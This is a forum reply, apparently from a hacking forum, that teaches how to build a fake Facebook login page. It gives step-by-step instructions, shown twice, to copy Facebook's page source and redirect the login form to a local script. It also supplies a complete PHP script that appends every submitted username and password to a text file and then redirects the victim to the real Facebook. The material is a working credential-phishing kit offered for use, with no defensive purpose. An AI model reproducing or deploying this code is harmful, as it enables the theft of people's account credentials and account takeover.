RE: Facebook phishing page 05-25-2014, 11:16 AM
#2
By Fake Facebook phishing page, i suppose you meant to say "Fake facebook Login Page".
Get to the Facebook login page.
Open the source. [Right click --> View Source]
Copy the code to notepad.
Ctrl+F look for text "Action".
Zero in to something like this:
Replace the link with post.php ie action="post.php" [or whatever you want, depends on the name of the php script that you will create next]
Save it as index.htm
Now nodepad to and paste this code:
save it as post.php[save as all files instead text file].
Thats it. You can upload it to the server now.
Get to the Facebook login page.
Open the source. [Right click --> View Source]
Copy the code to notepad.
Ctrl+F look for text "Action".
Zero in to something like this:
Code:
action="https://www.facebook.com/login.php?login_attempt=1"Replace the link with post.php ie action="post.php" [or whatever you want, depends on the name of the php script that you will create next]
Save it as index.htm
Now nodepad to and paste this code:
PHP Code:
<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("yourpassfile.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>save it as post.php[save as all files instead text file].
Thats it. You can upload it to the server now.
![[Image: MUJ8qSW.png]](http://i.imgur.com/MUJ8qSW.png)
-----------------------------------
Now learning:
Android Development, Java
Working on:
An FTP Client for Android
-----------------------------------
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)